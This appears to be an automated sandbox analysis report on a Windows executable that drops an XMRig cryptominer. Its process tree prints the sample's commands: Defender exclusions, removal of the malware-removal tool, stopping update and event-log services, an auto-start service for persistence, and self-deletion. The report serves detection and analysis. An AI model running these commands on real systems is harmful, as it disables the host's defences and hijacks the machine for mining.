Analysis
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max time kernel
96s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
30/09/2024, 01:45
Static task
static1
Behavioral task
behavioral1
Sample
b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe
Resource
win7-20240903-en
General
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Target
b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe
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Size
5.5MB
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MD5
f2ba67b926cabbff5c8c9ab112b05f8f
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SHA1
48a9228cafc07cef71b1d4835c507c2bb420caf7
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SHA256
b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972
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SHA512
e7aa7cdfa98c9cf25d2563eec9eca7bcf9c77c4a82b41971d2695b702a546146830ca5d8a20cfe5d5f99be3286a22c3501ddd5b5d0f5e40963ab9a5cf8a24544
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SSDEEP
98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7
Malware Config
Signatures
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XMRig Miner payload 9 IoCs
resource yara_rule behavioral1/memory/2636-30-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2636-31-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2636-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2636-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2636-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2636-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2636-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2636-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2636-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1344 powershell.exe 1936 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 2308 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 476 Process not Found 380 lutlgidagtja.exe -
Loads dropped DLL 1 IoCs
pid Process 476 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2892 powercfg.exe 2720 powercfg.exe 2728 powercfg.exe 2564 powercfg.exe 1880 powercfg.exe 1696 powercfg.exe 2896 powercfg.exe 2880 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe lutlgidagtja.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 380 set thread context of 2164 380 lutlgidagtja.exe 88 PID 380 set thread context of 2636 380 lutlgidagtja.exe 90 -
resource yara_rule behavioral1/memory/2636-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2636-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2636-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2636-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2636-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2636-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2636-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2636-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2636-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2636-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2636-26-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2636-25-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2636-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2636-38-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2792 sc.exe 2660 sc.exe 1840 sc.exe 2920 sc.exe 320 sc.exe 2028 sc.exe 2688 sc.exe 2800 sc.exe 2676 sc.exe 1944 sc.exe 1960 sc.exe 2808 sc.exe 3008 sc.exe 1356 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a05c7c85da12db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 276 b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe 1344 powershell.exe 276 b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe 276 b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe 276 b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe 276 b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe 276 b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe 276 b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe 276 b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe 276 b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe 276 b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe 276 b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe 276 b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe 276 b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe 276 b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe 276 b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe 276 b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe 380 lutlgidagtja.exe 1936 powershell.exe 380 lutlgidagtja.exe 380 lutlgidagtja.exe 380 lutlgidagtja.exe 380 lutlgidagtja.exe 380 lutlgidagtja.exe 380 lutlgidagtja.exe 380 lutlgidagtja.exe 380 lutlgidagtja.exe 380 lutlgidagtja.exe 380 lutlgidagtja.exe 380 lutlgidagtja.exe 380 lutlgidagtja.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe 2636 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 1344 powershell.exe Token: SeShutdownPrivilege 2720 powercfg.exe Token: SeShutdownPrivilege 2564 powercfg.exe Token: SeShutdownPrivilege 2728 powercfg.exe Token: SeShutdownPrivilege 1880 powercfg.exe Token: SeDebugPrivilege 1936 powershell.exe Token: SeShutdownPrivilege 2896 powercfg.exe Token: SeShutdownPrivilege 1696 powercfg.exe Token: SeShutdownPrivilege 2880 powercfg.exe Token: SeShutdownPrivilege 2892 powercfg.exe Token: SeLockMemoryPrivilege 2636 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 1908 wrote to memory of 2772 1908 cmd.exe 39 PID 1908 wrote to memory of 2772 1908 cmd.exe 39 PID 1908 wrote to memory of 2772 1908 cmd.exe 39 PID 2308 wrote to memory of 1964 2308 cmd.exe 64 PID 2308 wrote to memory of 1964 2308 cmd.exe 64 PID 2308 wrote to memory of 1964 2308 cmd.exe 64 PID 1620 wrote to memory of 2608 1620 cmd.exe 73 PID 1620 wrote to memory of 2608 1620 cmd.exe 73 PID 1620 wrote to memory of 2608 1620 cmd.exe 73 PID 380 wrote to memory of 2164 380 lutlgidagtja.exe 88 PID 380 wrote to memory of 2164 380 lutlgidagtja.exe 88 PID 380 wrote to memory of 2164 380 lutlgidagtja.exe 88 PID 380 wrote to memory of 2164 380 lutlgidagtja.exe 88 PID 380 wrote to memory of 2164 380 lutlgidagtja.exe 88 PID 380 wrote to memory of 2164 380 lutlgidagtja.exe 88 PID 380 wrote to memory of 2164 380 lutlgidagtja.exe 88 PID 380 wrote to memory of 2164 380 lutlgidagtja.exe 88 PID 380 wrote to memory of 2164 380 lutlgidagtja.exe 88 PID 380 wrote to memory of 2636 380 lutlgidagtja.exe 90 PID 380 wrote to memory of 2636 380 lutlgidagtja.exe 90 PID 380 wrote to memory of 2636 380 lutlgidagtja.exe 90 PID 380 wrote to memory of 2636 380 lutlgidagtja.exe 90 PID 380 wrote to memory of 2636 380 lutlgidagtja.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe"C:\Users\Admin\AppData\Local\Temp\b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:276 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1344
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1908 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2772
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1840
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2688
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2792
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2800
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2920
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2720
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2728
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2564
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1880
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JIOGRCSG"2⤵
- Launches sc.exe
PID:2676
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"2⤵
- Launches sc.exe
PID:2660
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2808
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JIOGRCSG"2⤵
- Launches sc.exe
PID:3008
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2308 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1964
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C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exeC:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:380 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1936
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1620 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2608
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:320
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2028
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1356
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1944
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1960
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1696
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2880
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2896
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2892
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2164
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2636
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.5MB
MD5f2ba67b926cabbff5c8c9ab112b05f8f
SHA148a9228cafc07cef71b1d4835c507c2bb420caf7
SHA256b7169676956b915732371c2dec158925ec36dcf301432d4f79663de2ebc75972
SHA512e7aa7cdfa98c9cf25d2563eec9eca7bcf9c77c4a82b41971d2695b702a546146830ca5d8a20cfe5d5f99be3286a22c3501ddd5b5d0f5e40963ab9a5cf8a24544